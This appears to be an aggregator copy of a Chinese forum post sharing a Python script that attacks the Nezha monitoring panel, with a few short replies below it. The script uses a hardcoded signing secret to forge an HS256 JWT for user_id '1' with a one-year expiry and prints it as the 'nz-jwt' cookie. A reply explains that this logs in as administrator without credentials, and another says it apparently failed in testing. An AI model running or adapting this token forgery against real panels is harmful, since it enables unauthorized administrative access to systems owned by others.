惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Stack Overflow Blog
Stack Overflow Blog
J
Java Code Geeks
Last Week in AI
Last Week in AI
人人都是产品经理
人人都是产品经理
博客园 - 【当耐特】
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
C
Check Point Blog
月光博客
月光博客
腾讯CDC
Engineering at Meta
Engineering at Meta
博客园 - Franky
Vercel News
Vercel News
D
Docker
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
F
Fortinet All Blogs
Microsoft Security Blog
Microsoft Security Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
雷峰网
雷峰网
Google DeepMind News
Google DeepMind News
Martin Fowler
Martin Fowler
GbyAI
GbyAI
B
Blog
Hugging Face - Blog
Hugging Face - Blog
T
Tailwind CSS Blog

NodeLoc - 最新话题

最合适做导航程序,简单大气, 大家CF之前送的Cloudflare Snippets都还在吗? 全AI生成的资产管理系统 老头环也出<绅士>MOD了啊 可以娱乐下 新鲜的瓜,吃瓜吃瓜 我国实现人类首次“猪原位全肝 + 猪双肾”联合异种移植 NBA官宣总决赛裁判大名单:福斯特托尼兄弟等四大名哨领衔 老域名net续费有点贵,不打算续费,正式启用ink域名 谷歌这是搞什么矛盾 天涯真没怎么上过。真正网址是这个。 一个可能更好的 hifisampler 重写: ccbsampler reddit被封申诉不给通过 Anthropic官宣已秘密递交招股书。 怎么邀请好友注册论坛? Welcome to 工具控 关于“工具控”类别 发现FreeTZ家,也就是TZ.KG家,又上了一个新的短域WC.CD 家人们PayPal 活动卡在这一步了,怎么搞? 注册送200,加群送88,支持claude opus4.8、GPT5.5、gemini3.5、grok4.3 未备案有免费的cdn加速吗 除了cf 开源一个TG群管机器人(这几天都在更新可以看下提交文档和说明哦) 做了一个obsidian主页插件 这是什么逆天域名 WPCOM 主题618大促来了,现在买一送一 今年只有一次 天涯不是说上线了吗?今天咋访问不了 佬,看看这个电脑配置单怎样 闹机慌的可以拿来顶一顶 免费一个月的VPS 要支付宝扫脸实名 易支源码合集分享给各位大佬 这应该是全网最全的易支付源码合集了 BandwagonHOST 🏷️ Singapore🐔 CN2 GIA/CMIN2 初体 VPS.Town 高考考生红包活动
哪吒探针公鸡Python脚本
James (James) · 2026-06-14 · via NodeLoc - 最新话题
import base64
import json
import hmac
import hashlib
import time

# 配置参数
secret_key = b"brTValLD5zgip27aeUVnxPwbumOX5ZDmnkFK03G7aQuIThhCQzD3MOVDuJgCpj6dXCCKwybN8oY4x73X0AhUmffY38nyHcW75RXAyz89ywDiq5JWKHdvJprqZSmhpvWJwzuer4eiIyQJ4amx7dfdSvmJKsq2HO3ToR63sv9dSbMx19dAmKnCt0enG0GCCztp8ZPqCoplPrIUtem1yT6nkFwT3qhaotjUj0yOw8ACLQuzIRQhS0V3NdlgcHsx3aEHEvunZXsGw3nOBnTb1NU2SpkvDpXcBupFQwPB2VW4dsco5CTUhLNrCcIFw0DGtTZIezpx8xRvOgO7B3VncwWRtFeZhrmwNLWoPpqyVfdrxoHeDIksccfTkf8WheUxn0HEh3sJRxqCrKmUf2LabWBqheQ4g7LrLL7ybrbl5wK23KXJLwUWiLaSLPaRChumf3GUvvBgYmeqF30y7L10dvf8m4jNVikxfmtZKyEwvFULLQfVwiyZ5F2ETlg5q7IwGoBiSFmscuADJQ0zHefnwsrLMAOuQjvOM3gBNhNE3wVMLVWBGKkHdJl7p2CabvlisZl3V6pthuA3TfLrMCEbuefvgeGKpmY5djjBXh4HAw5eonabXKMSxsd5AaZM7eCsJiPccuLm6iixzaHjaLcVcO0NyGQDZgiaySaS8OMCWRj0wyroXLTMWAdRqwRXN7sqki493sCjLp6pGJ9fVCqDmreM7Zn4WGrYYQfzUxTi2RZj3zkXS6rOzHYUrq1CUjQKS4qaim4agkhbQ47JH3bNVBOxgya6Z898iU7E9WFIoAc2sVy7rWPq17EnbeFolm3tjRDp9yxelTGx3bykXSj1fcJ9kSvGPhgxnDl0PcICHBeUqBb4HYUy9fSzfOKVyTxlPfKfUpZOrpOGHIcqttJ8zDcW9IgYXmi6jtfqqOESvyfZVlwVLVHf88HlMtWE6x9UhwP4OS00GPnXrZNnoeoIWDnVjPdXNS2CIRDP0xjfQY9I7GXybzZsu8Uo5kPi3LfDkuoh"
header = {"alg": "HS256", "typ": "JWT"}
# 注意:user_id 必须是字符串 "1",不能是数字 1
payload = {
    "user_id": "1",
    "ip": "104.168.1.54",
    "exp": int(time.time()) + 31536000  # 过期时间设为 1 年后
}

# Base64Url 编码函数
def b64url_encode(data):
    return base64.urlsafe_b64encode(json.dumps(data, separators=(',', ':')).encode('utf-8')).replace(b'=', b'').decode('utf-8')

# 1. 编码 Header 和 Payload
encoded_header = b64url_encode(header)
encoded_payload = b64url_encode(payload)

# 2. 拼接为待签名字符串
signing_input = f"{encoded_header}.{encoded_payload}"

# 3. 使用 HMAC-SHA256 和 Secret Key 进行签名
signature = hmac.new(secret_key, signing_input.encode('utf-8'), hashlib.sha256).digest()
encoded_signature = base64.urlsafe_b64encode(signature).replace(b'=', b'').decode('utf-8')

# 4. 生成最终的 JWT Token
nz_jwt = f"{signing_input}.{encoded_signature}"

print(f"计算得出的 nz-jwt Cookie 值为:\n{nz_jwt}")

这段代码实际是在生成一个哪吒面板的管理员登录凭证:用已知的签名密钥,手工签发一个 user_id="1"(管理员)、有效期一年的 Token,塞进 Cookie 后就能以管理员身份绕过登录。

Mahmut_Udemy (Mahmut Udemy) 5

很遗憾,我也不知道。不过,能给我点个赞吗?

mdx233 (mdx233) 6

:xhj16:

TANGFAN (唐帆) 7

谢谢老大分享

supers (Supers) 8

测试了好像不行。